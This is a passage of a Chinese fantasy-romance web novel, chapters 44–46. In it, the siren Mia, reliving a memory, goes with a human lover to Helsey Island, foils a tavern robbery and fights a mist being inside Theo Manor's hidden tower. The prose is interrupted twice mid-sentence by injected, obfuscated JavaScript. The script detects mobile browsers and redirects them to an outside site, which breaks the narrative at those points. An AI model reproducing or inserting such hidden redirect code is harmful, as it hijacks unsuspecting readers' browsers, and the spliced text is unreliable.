为了转移注意力,米娅便说起了方才的事,当然隐去了尤妮委屈的原因,只说自己想出岛去看看。 “你想跟我一起去吗?”她斟酌了一下,用询问的方式说。 要是以利亚的话,有备无患,她肯定得拉着他一起。 可是换了个人,她还真有些犹豫了。 过去的自己年少天真,对人类百分百信任,可是这几个月以一个旁观者来看,人类身上笼罩着一团迷雾,米娅只知道他的名字,以及为什么会在无尽海遇上海难,别的一概不知。 知道的这些讯息,也都是人类的一面之词。 所以才会有后来的变故,他一走了之,米娅甚至不知道去哪里寻找他。 过去的自己和现在的自己有太多不同,米娅没有把握骗过他。 人类垂下眼,细长的睫毛投下一片阴影,遮住他眼中的情绪,“你打算去哪儿?” “赫尔西岛。” “去多久?” 米娅愣了一下,她还真没想过,算算时间,现在应该是五月中旬,快到风灵节了,“过了风灵节就回来。” 问的这么细,他一定有所顾虑,米娅在心里默念,快拒绝,快拒绝。 “我同你们一起去。” 米娅失望地闭上眼。 44. 失控(三) “米娅,这是什么?” 人类装作没瞧见米娅失望的神色,走到桌边,看着放在桌上的玻璃瓶问道。 米娅只顾着收拾地上的东西,反倒忘了一开始放在桌上的物件,她走过来,拿起来端详了片刻。 刚进屋时她被屋内的景象吓了一跳,从人类手中夺过玻璃瓶后也没看过,只当是个普通瓶子,这下仔细一看,脸色不由得凝重起来。 这是一个宽口的玻璃瓶,瓶口用木塞塞住,木塞顶部和瓶身上都用紫色的颜料画着反复的图案。 那图案与米娅掌心的图腾图案相似,又不完全一致,透露出令人不安的气息,更重要的是画图案的紫色颜料,米娅一下子就认出来,那是生命之树的树汁。 生命之树在海妖一族心中神圣无比,用生命之树的树汁画图,更有着特殊的含义,这些图案只会出自老祭司的手笔。 米娅隐约想起来了瓶中装的是什么。 透过图案的留白处看进去,瓶中布满了冰锥和冰刺,它们填满了瓶身,仿佛随时会破开瓶身。 冰锥的正中央,应该是—— 米娅瞳孔一缩。 比起里面有什么奇怪的东西,眼下的景象更诡异。 空的。 里面竟然是空的。 她以为她会看到那颗心脏。 那颗她跟随梦的指引在海底裂缝中找到的奇怪心脏。 那颗她以为会有用,但是直到十年后她前往赫尔西岛之时,都没能派上用场的心脏。 事实上,自从她将心脏放到这里之后,她几乎忘了它的存在,也没有关注过它的状态。 所以,她也不能确定,那颗心脏是什么时候不见的。 是在此之前,还是跟以利亚有关…… “是秘密。”米娅回头,对他狡黠一笑。 人类没有追问,只是说:“又是海妖一族的秘密吗?” “对。”米娅点了点头,“所以没有祭司的同意,我不能告诉你,你不会介意吧?” 她尽量模仿着曾经的自己的语调与笑容。 人类也笑了,“怎么会。” 上岛这么久,他总是善解人意的,不然也不会轻易俘获米娅的心,取得其他海妖的信任。 米娅暗暗松了一口气,和他相处倒是比以利亚要轻松些,想到以利亚,她又在心底呼唤了一声,还是没人应。 出行的计划一定,接下来无非是些准备工作。 米娅不止一次去过人类世界,对此轻车熟路,人类本就是从人类世界而来,更不需要做太多特别的准备。 于是在尤妮不舍的目光中,没过两天,他们就出发前往赫尔西岛。 一开始米娅还有些担忧,她没有在这个时间段出过奥修斯岛,岛外的一切还会不会存在。 当他们跳入海中,靠在鲸鱼背上向赫尔西岛出发时,她甚至想过一眨眼又回了奥修斯岛之类的鬼打墙状况。 她的担忧没有成真,一路上顺利得让人惊奇。 他们在夜晚时分从赫尔西岛漫长的海岸线上岸,没有遇到人类的船只,也没有惊动任何人。 远处的城镇寂静无声,只有依稀几点灯火不时闪烁。 奥修斯岛随时都有生命之树散发出的淡淡光芒照耀,从不会如此漆黑寂静。 米娅感到奇怪,她也不是没见过赫尔西岛的夜晚,不说灯火通明,至少也是挺热闹的,现在还不算晚,又是风灵节前夕,不应该啊。 “有些奇怪。”米娅对人类说,人类也正看着远处的城镇沉思,“要不我先过去看看情况?” “要去也该我去。”人类握住她的手,没同意,“一起走吧,有什么事儿也有个照应。” 米娅点点头,心里却想到另一件事,。 既然以利亚不在岛上,她似乎也不必太过担心,岛上难道还有别人是自己的对手么? 空旷的原野上只闻风声,为了不生事端,他们没有采用飞这种惹人注目的方式,但行进的速度还是比常人要快上不少,不一会儿就来到了城镇边缘。 几座小木屋散落在道路两旁,漆黑安静,不见一点儿光亮。 海妖的听觉和视觉都优于人类,隔着老远,他们也能发现,木屋中是有人类居住的,正有一双双眼睛,透过窗户或门缝向外打量着他们。 呼吸急促,听起来很紧张。 两人对视一眼,果然有古怪,不过他们没停下脚步,而是选择了继续往里走。 因为特殊的地理位置和历史,赫尔西岛上没有所谓的城墙和堡垒,城镇也不过是人类聚居的地方,和原野没有明确的分界线。 越往里走,房屋越密集,逐渐形成了街道。 他们见到的零星灯光,就来自于街道两侧昏暗的路灯以及少数几幢亮着灯的房子。 至于其他房屋,皆门窗紧闭,透不出一点儿光亮。 周遭的景色有些眼熟,直到几棵高大的梧桐树出现在视野里,米娅终于可以确定,这个地方是梧桐区。 相较于十一年后,这里的房屋更加破旧,但街道更整洁。 此时的梧桐区还没有被海妖猎人鸠占鹊巢,居住在此的大都是平民。 看到街道上的情况,他们悬着的心稍放下了一点儿。 此刻街道上最冷清,却还没到空无一人的地步,时不时还是有行人路过,只不过都行色匆匆,不肯多耽搁一分的样子。 凭着记忆,米娅找到了十一年后她居住的那家旅馆,敲了敲门,一个中年男人堆着笑打开了门,“两位要住店吗?” 看到她,突然脸色一变,“没房间了,你们另外找地方吧。”说完砰地一声将门关上。 米娅还没反应过来就吃了个闭门羹,一头雾水地看着紧闭的旅馆大门。 从那个男人一开始的反应来看,怎么也不像是没房间的样子。 她摸了摸自己的脸,“我怎么了吗?” 人类道:“他看到你的眼睛了。” 我的眼睛? 米娅怔了怔,突然意识到,现在的她没有喝过女巫的药水,就算变成人类的样子,也遮不住独属于海妖的眼眸。 那人是认出她的身份了。 人类环住她的腰,揽着她向另一条街走去,解释道:“岛上一定是出了什么事,处于戒严的状态,这种时候,普通的旅馆不能接收非人类顾客,我们得换个地方。” 说话间,脚下拐了个弯,他们踏进了另一条街,逼仄的街道两侧立着好几家酒馆,醉鬼堂而皇之地睡倒道路中央。 热闹得不像在戒严。 米娅十一年后倒也见识过这种场面,还以为都是海妖猎人败坏了风气,没想到十年前就有。 人类随意推开了一家酒馆的门,昏暗的灯光中,狂醉的人群沉沦于狂欢之中,没有在意这边的动静。 他们来到酒馆前台,瞎了一只眼的伙计正用布擦拭着酒瓶,听到脚步声,连头都没抬一下,“喝什么?” 人类放了三枚银币到伙计面前,“不喝酒。” “想住上面去?”伙计瞥了眼银币,轻蔑道,“三枚可不够。” 人类微笑道:“你再仔细看看。” “哪来的穷酸鬼,说了不够就是——”伙计把酒瓶往桌上重重一放,不耐烦地吼道,一副要把他们轰出去的样子,可他刚一抬头,就愣住了。 眼前的一男一女都有张十分好看的脸庞,气质不凡,衣裳也整洁干净,与这破破烂烂的小酒馆格格不入。 米娅不想再重复刚才的遭遇,不等伙计细看,便假装害羞将头埋进人类怀里。 人类敲了两下桌面,伙计才回过神来,不自觉地听从他的话仔细看起了那三枚银币,“咦,这不是——” 话说到一半,他就闭了嘴,赶紧将银币揣进袖子里,再抬头,堆出个谄媚地笑,“两位跟我来。” 一路将他们带到二楼走廊尽头的房间,用钥匙打开门,将蜡烛点燃,讨好地笑道:“您看还行吧?” 一张床,一张桌子,一把凳子,简陋得不能再简陋了。 人类点了点头。 伙计喜滋滋地说:“看您的样子应该知道我们这儿的规矩,有事楼下叫我就行。”说完转身就走。 人类什么也没说,将门一关。 米娅从他怀里钻出来,纳闷:“你哪来的钱?” 人类的行李都随着沉船葬身大海了,就他身上这身衣服,都是别的海妖从人类世界买回来的呢。 人类摊开手掌,无辜地笑,“这是仅剩的三枚银币了。” 米娅“啊”了一声,“那你怎么都给他了?” 得亏她十一年后在赫尔西岛待过一段时间,跟人类商贩打过交道, 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不过米娅连监狱都待得,这里的环境还不算上糟糕,至于人类,听说漂泊的这些年也吃了不少苦,从头到尾也没流露出嫌弃来。 米娅躺在床上,一点儿休息的心情也没有。 一会儿想到消失了的以利亚,一会儿想到街道上的异状,她不得不承认,这片回忆远比她预料得更复杂。 她能感觉到身边的人类也一直醒着,和自己的烦躁不同,他平静得就像一头蛰伏着等待捕猎的野兽,似乎随时都会锁定猎物。 想到他,米娅更烦躁了。 人类很温柔,从他们十年前第一次见面她就知道,不然也不会被他骗了身心,即使知道他最后会抛弃她,面对此时还什么都不知道,没做错什么的人类,她不仅无法狠心,甚至会感到愧疚。 至于愧疚什么,又是她心里很清楚却不敢承认的了。 也不知躺了多久,她竟真的有了点困意,迷迷糊糊间,一只手从上衣的下摆伸了进去,覆盖着薄茧的冰凉指尖抚过她的腰肢,沿着平坦的小腹向上,一直到危险的边缘。 那触感太熟悉,她不禁低声轻唤:“……以利亚?” 冰凉的指尖忽然停住了动作,米娅也清醒过来,她慢慢转过头去,看到男人的表情的一瞬间,大脑一片空白。 她到死也不会忘记的一张脸,属于以利亚的那张脸,但不是他。 男人不可置信地盯着她:“你叫我什么?” 惊讶在他眼底,慌乱在她脸上。 好一会儿,她才镇定下来,“我说了什么吗?我刚才睡着了,做了一个很奇怪的梦。” “你叫我以利亚。”男人靠过来,修长的手指插入她的发间,轻轻按在她的后脑勺上,让她不得不仰起了头,“你知道这个名字代表着什么吗?” 他不好糊弄。 临时编出来的梦没有骗过他,米娅又生一计。 她像做错了事的孩子般,委屈又心虚地咬着下唇,“我知道,他是赫尔西岛前任领主之子。” 不等男人继续追问,她又忙不迭地解释道:“我不是有意想瞒着你的,几年前,我偶然认识了他,我们有过一段情愫。不过他在被皇室追杀,行踪不定,和我很快断了联系。你相信我,我们真的没有什么。” 在床上喊另一个男人的名字,真是太不小心了。 米娅暗骂自己之后,想到了自认为无懈可击的应对措施。 与其否认那个名字的主人和自己的关系,不如大大方方承认了,反正他现在又不可能去向这个时间点的以利亚求证。 然后再用那已经是过去式了之类的借口打消他的不满。 男人低头吻住她的唇。 他好像信了,皱着眉问:“他吻过你吗?” 米娅以为他是吃醋,赶紧摇头,“没有——唔。” 她的声音被吞下,舌尖与他的勾缠。 怕引起他的怀疑,她没敢再拒绝,反而主动回应起来。 她勾着他的脖子,半闭着眼,加深这个吻的同时,往他怀里蹭。 她不信,都到这份上了,他还有心思追究一个名字。 她没注意到,男人越来越奇怪的眼神。 45. 失控(四) 凌晨两点。 平时还是酒馆最热闹的时间,这会儿却空空荡荡。 酒馆伙计擦完最后一张桌子,直起腰,抹了一把脸上的汗。 金发女郎从大堂的后门走进来,余光一瞥,“呀”了一声,从破旧沙发的缝隙里抽出个酒壶,壶身上一个明显的豁口,像是被人戳了一刀。 喝醉了的人什么事都干得出来,她没觉得稀罕,只是啐了一口生气道:“我呸,这都藏,连个酒壶的钱都赔不起来在这装什么潇洒。” 伙计走过来,接过坏掉的酒壶扔进垃圾桶里,搂着金发女郎在她香腮上亲了一口,“别为这种事生气,不值得。” 金发女郎睨了他一眼,以前遇到这种事,这人比她还生气,毕竟酒馆老板知道了,要从他们的工钱里扣,“你捡到钱了?还是哪个醉鬼又多给了小费?” 伙计献宝似的摸出那三枚银币,“你看这是什么?” “不就是三枚银币吗——”话说到一半,她突然瞪大了眼睛,“这、这、这难道是——” “你没有看错。”伙计嘿嘿一笑,“大陆时代的银币,一枚抵得上现在的一百枚,这回我们可是赚大发了。” 金发女郎咽了一口口水,“哪来的?” 伙计搂着她,低声将一男一女跑到酒馆来,不喝酒却住店,一出手就是三枚大陆时代的银币的事讲了一遍。 末了补充道:“那两人穿的挺好,一看就是有钱人,放着好地方不住,跑到我们这地方来,我估摸着是偷情怕被人发现。” 金发女郎笑着捶他胸口,“我说刚刚卫兵赶人的时候,你干嘛给他们塞钱,原来是不想他们上楼去看到楼上有人。” 伙计捏紧手中银币,眼中闪烁着贪婪的光,“他们身上一定还有钱,我不会让这条大鱼就这么跑了。” 金发女郎越听越觉得不对,从他怀里挣脱,“你想做什么?你听好了,我不会跟着你居无定所当逃犯。” 伙计握住她的手,将三枚银币放进她的手心,“你想哪儿去了,我胆子这么小,难道还敢杀人吗,我只是想着把他们的东西拿了。” “你要偷东西?不行不行。”金发女郎连连摇头,面上满是恐惧,“要是被发现了怎么办,我们会被关进监狱里去的,我听说那地方根本不是人能待的。” 这女人还是太胆小,哪是能干大事的。 伙计心里这么想着,面上却不显,抓着她的手向她保证:“我让他们住进了二楼最里面那间房,你知道那里的蜡烛加了什么,我们能神不知鬼不觉地把东西偷到手。到时候,有了钱,我们就离开这个破地方,走的远远的。你放心,他们既然偷偷摸摸的,一定不敢声张出去,这些钱对他们这种人来说也不算什么,到时候,没人知道这里发生了什么。” 金发女郎还在犹豫,他继续劝说:“亲爱的,我真的受够这种寄人篱下看人脸色的日子了,尤其是那些酒鬼盯着你看的时候,我恨不得把他们眼珠子都挖下来,你肯定也不好受吧?有了这笔钱,我们想干嘛就干嘛,再也不用在这破地方受人欺负了,到时候我们可以买幢房子,做点儿生意,再生一堆孩子,想一想,多么美好啊。” 随着他的讲述,金发女郎的眼前仿佛也浮现了那样的场景,那是她一直期待的生活,没有动手动脚的酒鬼,没有破烂漏雨的房顶。 她的恐惧一点一点被瓦解,只剩了些许担忧,“真的没问题吗?” 此话一出,基本上等于同意了。 伙计高兴地抱住她,在她耳边低语几句,然后拉着她蹑手蹑脚地向楼上走去。 二楼很安静。 特殊时期,总共也只有这么两个客人,他又把他们安排在了最角落的位置,他越想越觉得,简直是上天赐予的好机会。 来到二楼楼梯口,伙计拍了拍金发女郎的手背,“你在这儿守着,有什么情况,就咳嗽一声,我很快出来。” 金发女郎点了点头,担忧地看着他走到尽头的房间前,先是敲了敲门,没听到里面有回应的声音,又叫了两声,还是没声音,便放心地推开门走了进去。 从她的角度,只能看见半开的门缝,里面一片漆黑,像张野兽的嘴。 穿堂风吹过,她抱紧胳膊,死死地盯着房间门。 里面好像有些窸窣的动静,又像是她因为太过紧张将风声误认为了是别的声音。 没有声音,是好事吧。 她正祈祷着,房间里就传来了砰地一声巨响,她吓了一跳,一只脚已经踏下了一节楼梯,可是想到伙计还在里面,一咬牙,向走廊尽头跑去。 一边跑,她一边安慰自己,也许只是他滑了一跤,前几天下过雨,地板有些返潮,是有可能不小心摔倒。 可是刚靠近门口,骤然亮起的光亮就打破了她的希望。 只见原本漆黑一片的房间中央,竟然闪烁着一簇金色的无根之火,火光明亮却不刺眼,将房间的每一个角落都照得清晰可见。 伙计躺在地上,抱着小腿龇牙咧嘴,一修长挺拔一婀娜多姿两个身影背对着她站在火苗旁边。 金发女郎腿一软,冲过去护在伙计身前,大叫道:“别杀他,都是我的主意。” 她闭上眼睛,一副引颈就戮的模样,可是等了好一会儿,耳边除了伙计的呻吟声,再没有其他声音。 她小心翼翼地睁开眼,终于看清了伙计口中的“冤大头”的模样。 这辈子都没见过长得这么好看的人,她忍不住咽了口口水。 “我是已经死了,见到神明了吗?”她不禁喃喃。 可是周围是她再熟悉不过的陈设,她还在酒馆中。 那两人还是没反应,她也不知道该怎么才好了。 继续恳求吗,正打算这么做,身后的男人突然将她推到一边,掏出那三枚银币,捧在手心,“没错,都是她的主意,她鬼迷了心窍,逼我来偷你们的钱,这……这三枚银币都在这儿,我不要了,求你们放过我吧。” 金发女郎愕然瞪着他,浑身发抖,“威尔顿,你还要不要脸了——” “行了。” 在两人吵起来之前,人类冷冷扔下两个字,将他们的话全堵回了肚子里。 “我不在乎是谁的主意,你们只需要回答我的问题。” 人类始终皱着眉,似乎心情不好。 两人见了,吓得大气也不敢喘一下,只一个劲儿地点头。 “岛上为什么戒严?” 第一个问题,而且是个好回答的问题,两人争先恐后地开口。 “有大人物……” “领主府的卫兵说……” 人类的眉皱得更深了,似乎因为他们同时说话而感到烦躁,两人在酒馆工作,最擅长看人脸色,当即闭上了嘴。 人类瞥了眼名为威尔顿的伙计,“你说。” 伙计一喜,“领主府的卫兵说,昨天有个大人物来了岛上,一直到风灵节都要戒严,直到大人物离开。” “大人物?” 伙计不说话了,金发女郎弱弱地举起手,见人类没反对,小声道:“我知道,是从帝都来的,是什么亲王殿下。” “雅克?” 人类的眼神更冷了,金发女郎因恐惧而颤抖起来,声音也带了哭腔,“是……就是这个名字。” “他来赫尔西岛做什么?” 这下没人说话了。 上层的大人物有什么目的,他们就是想破脑袋也想不出来。 人类也没想过从他们口中得到答案,那不过是一句自言自语。 他陷入了沉思,没再理会他们。 这时,另一个人走上前来,美丽动人的脸庞上有些许惊讶,她看着金发女郎,“你叫什么名字?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034997|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 金发女郎犹豫了一下,不知道为什么,她从女人的眼神中读到了几分故人重逢的意味,可是她们此前从未见过。 那样一张美丽的脸,她若是见过,一定此生难忘。 而且,女人特殊的眸子不断地提醒着他们,她根本就不是人类,而是一只海妖。 金发女郎不敢不答:“罗莎。” 罗莎—— 真的是她。 米娅心情复杂,看到金发女郎的第一眼,她就认出她了,那个被凯勒害得沾上了药瘾的妓女。 眼前的女郎年轻漂亮,虽然看得出来生活艰辛,眉眼间却还有活力,不似十年后,风情万种的外表下早就是一颗暮气沉沉的心。 她有些好奇,但又隐隐猜得到,这十年在她身上发生了什么。 “您认识我吗?”罗莎小心翼翼地观察了一会儿,美丽的海妖神情哀伤,而且她总有种感觉,那哀伤是因为自己,于是她大着胆子问了出来。 米娅被难住了,她该怎么解释,她认识十年后的她? “不认识。”米娅只能否认。 人类让伙计和金发女郎走了,都不用主动威胁,两人便不停地承诺一定不会多嘴,还热情地给他们换了二楼最好的房间,用的最新的家具和被褥。 至于那三枚银币,自然物归原主。 米娅这时才明白人类为什么说银币会还回来,他早就看出伙计的贪婪,等着他们往里跳,还好伙计只是偷东西,没胆子做别的。 否则等待他们的下场不会这么简单。 也是到这时,米娅好像第一次感受到,温柔体贴不过是男人的其中一面,他还有许多面,也许阴暗,也许阳光,只是从未在她面前展示过。 米娅扫了一眼新房间,干净整洁,墙上还有壁炉,不过这都五月份了,天气热了起来,壁炉仅有个装饰的作用。 一阵风从半开的窗户吹进来,米娅走过去,窗户外面是酒馆的后巷,除了满地的污水什么也没有。 戒严状态下的赫尔西岛格外安静,米娅走了一下神,想到凯勒和加里死后的那几天,赫尔西岛似乎也在戒严,不过那时她在监狱里待着,也不知道外面是什么样。 空气中偶尔飘来一股难闻的气味,像呕吐物和酒精的混合,也不知道是哪个酒鬼喝醉了吐在了外面。 米娅皱了皱鼻子,正要关窗,一只手绕过她的肩膀,抵住窗框。 “看那是什么。” 男人站在她身后,与她隔着一段距离,却像将她环抱住。 沿着骨节分明的手指所指的方向,米娅看到了半隐在夜色中熟悉的建筑,庞大的庄园,肃穆典雅的古堡,以及耸立的高塔。 登岛以来,所见的一切都是既熟悉又陌生。 十年时光,足以改变许多事情,唯有那座充满故事和秘密的庄园一点儿也不曾改变。 “赛欧庄园。” “进去过吗?” 米娅抿了抿嘴唇,“小时候在围墙外面转过,祭司不让我们进去。” 想骗他是件难事,但她说的都是实话。 只是以前没进去不代表以后不会进去,不是吗? “想不想进去看看?”男人低头,嘴唇靠近她的耳朵,仿佛冥河水面下的低语,诱惑着意志不坚定的人钻进去一探究竟。 “现在吗?”得到人类的肯定答案后,米娅更惊讶了,“不是说那个什么雅克亲王在吗,守卫应该很严格吧?” “害怕了?”人类笑了,呼出的热气洒到到她的耳垂上,热意从耳垂直往脸上钻。 “去就去,有什么可害怕的。” 米娅立刻不服气地说道,但她可没中他的激将法,以利亚又不在,这岛上有谁是他们的对手,不过闯个庄园而已。 她也想知道,十年前的赛欧庄园内部,有什么不一样的地方。 46. 失控(五) 昏沉的月色之下,两道身影悄无声息飞越围墙,穿过繁花锦簇的花园,绕开巡逻的守卫,进入漆黑的高塔之中。 一路畅通无阻,仿佛演练了千百遍。 高塔的小门没有上锁,轻轻一推就开了,也不知人类是怎么做到的,看起来破旧的木门竟没发出一点儿声音。 赛欧庄园也和城镇中一样,处于戒严状态,卫兵不停地巡逻,但都止步于高塔外围,似乎这座高塔有什么神奇的魔力一样,拒绝着他们的靠近。 米娅被人类拉入高塔中时,还有些懵。 太顺利了。 人类选择的路线正好位于巡逻的视野死角,一路上可供躲避的障碍很多。 而且他一路走来,没半点儿犹豫。 他似乎对这个庄园十分熟悉。 但是在他的讲述中,他四处漂泊,只是刚好沉船前原计划的补给点是赫尔西岛。 更让米娅觉得奇怪的是,人类的目的地竟然是赫特高塔。 米娅记得,在以利亚成为赫尔西岛领主之前,赫特高塔已经荒废了许多年。 高塔内部随处可见的灰尘和蛛网证实了这一点。 “为什么来这里?”米娅轻声问,与此同时,她不禁抬起头望向螺旋状楼梯的最顶层,一些刻意被压制的回忆纷纷涌上心头。 她就是在这里,扯出了以利亚的心脏,也是在这里,落入了回忆的漩涡之中。 仿佛什么都变了,又仿佛什么都没变。 她又在心底呼唤了一声以利亚,穿过回忆的壁障,呼唤十年后的他。 还是没有回应。 人类拉着她走到楼梯背面,原本堆满杂物的地方,竟然出现了一道薄如纸的黑色阴影。 阴影大概两米高,一米宽,边缘锯齿状,呈一道门的形状,又像一张巨口。 人类拉着她走进了阴影中。 仿佛穿过了一层薄薄的水膜,一眨眼的功夫,他们就从赫特高塔的一楼来到了另一个地方。 宽敞得仿佛是教堂大厅的建筑内部,贴着墙壁的地方,每隔一步都放置着一座高大的烛台,蜡烛全都燃烧着,炽盛的烛光照亮了每一个角落。 锥形的穹顶,空旷的大厅中央五芒星形的法阵,还有法阵中央的两个人和法阵外的一个人。 三人的目光都转了过来,看向两个不速之客,眼神中充满了惊讶。 他们的表情同样精彩纷呈。 法阵外的人看着人类,惊讶的表情看上去有些狰狞。 法阵里两个人,一个疑惑,好像不认识米娅和人类,一个狂喜,紧紧盯着米娅的脸,仿佛饥饿的狼盯上了一块肉。 那目光让人感到不妙。 米娅后退一步,一只脚踏回阴影中。 她还是慢了一步,那人化作雾气,乘着狂风席卷而来,一眨眼的功夫,灰色的雾气就缠上了米娅的手臂。 用力一拉,米娅刚踏出去的一只脚又回到了奇怪的大厅中。 同一时间,阴影模样的门扉在她身后消失。 没了门,还怎么出去? 其他人都被这一变故惊住,法阵中另一个人伸出手,似乎想要阻止灰雾的行动,但他的脚又被牢牢钉在法阵中央。 行动上阻止不了,他便闭上眼睛,口中念念有词。 随着特殊的音节一个一个地从他嘴里冒出来,法阵黯淡的线条越来越亮,白色的光芒溢出来,借由空气中无形的丝线,伸向灰雾所在的方向。 灰雾化为人形,苍白的手指搭在米娅的手腕上,指节因用力而泛起不正常的白。 仿佛是怕她逃走,灰雾手上的力气逐渐加重,越来越难以忍受的疼痛从手腕处传来,感觉骨头都快被压碎了。 米娅深深地皱起了眉,不自觉发出“嘶”的一声。 但她没有动,退路已经消失了,再退也无济于事,她反倒冷静下来,紧紧地盯着逐渐从灰雾中现出的那张脸。 小麦色的皮肤,粗犷野性的浓眉。 一张完全陌生的脸。 可是这灰雾,还有蕴藏在灰雾中强大的力量是如此的似曾相识,她仿佛又回到了那个大雨滂沱的早晨,回到了阴冷死寂的冥界之中。 “放开她。” 冰冷的声音打断了米娅的思绪,她侧过脸去,人类神情比声音还冰冷,一手搂过她的腰,一手握住了灰雾刚刚显形的手臂,稍一用力,那手臂又碎成了一团散开的雾气。 手腕处的束缚松了,疼痛却还隐隐残留。 米娅将手腕背到身后,警惕地看着灰雾中那张惊讶的脸。 他似乎没想到有人能破坏他的化形,惊疑不定地看了眼重新聚集在一起的雾气,又看了眼人类,终于出声了,“你是谁?” 刚问完,视线又落到了那只扣住米娅腰的手上,脸色立刻就黑了,散于空中的灰雾凝成一把长剑,恶狠狠地刺了过去。 这一下带着雷霆之势,仿佛要洞穿人类的手掌。 可是他同样没有避开米娅,要是被刺中,米娅也会受伤。 也顾不上疑惑为什么声音还是塞奇的声音,脸却不是塞奇的脸这件奇怪的事了,米娅展开双翼,挡住长剑的攻势。 金属碰撞声响起的同时,几根灰色的羽毛自空中飘落。 比盾牌还坚硬的羽翼,在灰雾化成的长剑的攻势下节节败退,巨大的力量从羽翼上传过来,震得米娅后背一阵发麻。 米娅神色一变,她不是他的对手。 多亏人类的一只手臂还环在她的腰上,支撑着她不向后退去。 米娅捂住胸口,艰难地呼吸了几下,忽然间,她突然感觉周围异常的安静,就好像—— “时间静止了……”灰雾接上了她心中所想。 下一瞬,各种声音又如潮水般涌来,米娅定睛一看,眼前的场景又变了,她不知何时来到了墙边,距离灰雾和人类足有十步之远。 十步之外,人类握住了剑尖,鲜血从他手掌滴落,染红了地面。 灰雾与人类对峙,那双野性的眼睛看着人类,流露出浓烈的恨意,“原来是你!” 他发出怒吼,化作狂风,向人类袭去。 狂风如摧枯拉朽一般卷起一切,形成遮天蔽日的风暴。 米娅抓住墙壁上浮雕的边缘,勉强稳定住身形,她抬眼望过去,风暴中心一片混沌,哪里还有人类的半点儿影子。 她试图飞往风暴中心,双翼却像失去了所有力气一样,连维持都成了困难。 她和人类交过手,知道对方和自己的力量差不多,自己不好受,对方更是正处于危险之中。 不能坐以待毙,得想办法。 可是能有什么办法呢? 她靠着冰冷的墙壁,艰难地环视一圈,站在法阵外围的人类受不了强烈的力量碰撞,倒在角落里,不知是死是活。 法阵! 对,如果这个灰雾真的是塞奇的话,这个时间点,他应该被封印在冥界之中,一定是这个法阵的问题。 风暴刚好挡住了法阵,米娅紧贴着墙根慢慢移动,在来到另一面墙前面时,终于看见了法阵中的情况。 狂风虽然能吹起一切,法阵中的青年却像深深扎根于岩石中的野草般,东倒西歪,就是没有倒下。 有机会! 米娅咬了咬牙,双手握拳,顶着狂风,艰难地挪动过去。 法阵中央的青年紧闭双眼,脸色煞白,站立已经花去了他所有的力气,他的嘴在狂风的吹拂下根本张不开,法阵的光芒越来越黯淡,光芒汇聚成的丝线也像含羞草的叶子似的蜷曲退缩成一团。 绝望慢慢填满了内心,他想,他今天是要死在这儿了。 忽然,眼前一暗,身前的狂风消失了,他还能听到呼呼的风声,却像被罩进了罩子里,感受不到一点儿风吹。 他睁开眼,入目是一张美艳动人的脸庞,瓷白如玉的皮肤毫无瑕疵,饱满的红唇紧紧抿着,脸颊因用力对抗狂风而泛着红,似玫瑰般娇艳。 他还看到,巨大的羽翼在撑在他的身前,被狂风吹得不停地颤抖,却依然坚持着。 “愣着干嘛,继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039414|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续念啊!” 美妙的声音从微张的红唇飘出,被那双天蓝色的眼眸一瞪,他恍然惊醒,不自觉地便听从着她的话,继续未完的咒语。 蜷曲的丝线再度舒展开,不断向上攀缘,伸进风暴的中心。 米娅背对着风暴,她看不见风暴的变化,但能看见丝线正在剧烈地颤抖,就像野兽正在牢笼中疯狂地挣扎。 终于,丝线的抖动放缓,背后的风也渐渐小了,直到风声彻底停止,她收起羽翼,转头看去。 狂风之后,地面一片狼藉,人类从半空中跌落到地上,一声闷响,他的样子很狼狈,外露的皮肤上到处都是伤口,脸颊上也有一道细长的血痕。 应该没死吧…… 米娅松了一口气,早知道就不来赫尔西岛了,她虽然介意他之后一走了之,但也没到要杀了他的地步。 要是他死了,还不知道这回忆又要出什么幺蛾子。 心情一放松,她发现她也用尽了力气,身体一软,竟也要倒下去。 法阵中的青年一直盯着她,立刻发现了她的异样,伸出手去接她。 米娅没有倒在地上,一双有力的手臂接住了她,掌心的温度很熟悉。 她嗅到了血腥气,睁开眼,接住她的是顷刻之间就来到她身边的人类。 鲜血还在源源不断地从他的伤口处流出来,他却一点儿也不担心,反而担忧地看着她。 米娅虚弱地抿唇微笑,“我没事。” 比起人类,她的确没什么大事,只是累了而已。 法阵中的青年双手空落落地伸在半空中,怅然片刻,又默默收了回去。 忽然,他紧紧地皱起了眉,像是在忍受着痛苦,没过多久,额头上便冒出了豆大的汗珠,面色苍白得可怕。 他再次伸出了手,使劲握住了米娅的肩头。 米娅惊讶转头,她的注意力一直在人类身上,这才发现青年的异样。 青年神情痛苦,牙关紧闭,从齿缝中艰难地挤出几个字,“不……是……我……” 不是他,什么不是他? 米娅正疑惑间,人类搭上青年的手腕,只听咔擦一声脆响,自己肩头的手突然失去了力气,软绵绵地垂了下去。 人类毫不犹豫地将青年的手腕折断了! 米娅不由得瞪大了眼睛,这还是她记忆里那个温柔的人吗? 她看过去,人类正看着青年,神情冷漠。 她心念一动,“以利亚?” 人类瞥她一眼,没有说话。 这眼神,只能是以利亚没错了。 米娅又惊又喜,抓着他的手臂问道:“你终于回来了,怎么回事,你怎么消失了这么久?” 她一激动,也顾不上还有外人在场了,又或者说,反正这只是回忆,就是让那青年听到又怎样呢。 以利亚摇了摇头,“待会儿再说。” 他又看向那青年,“让他出来。” 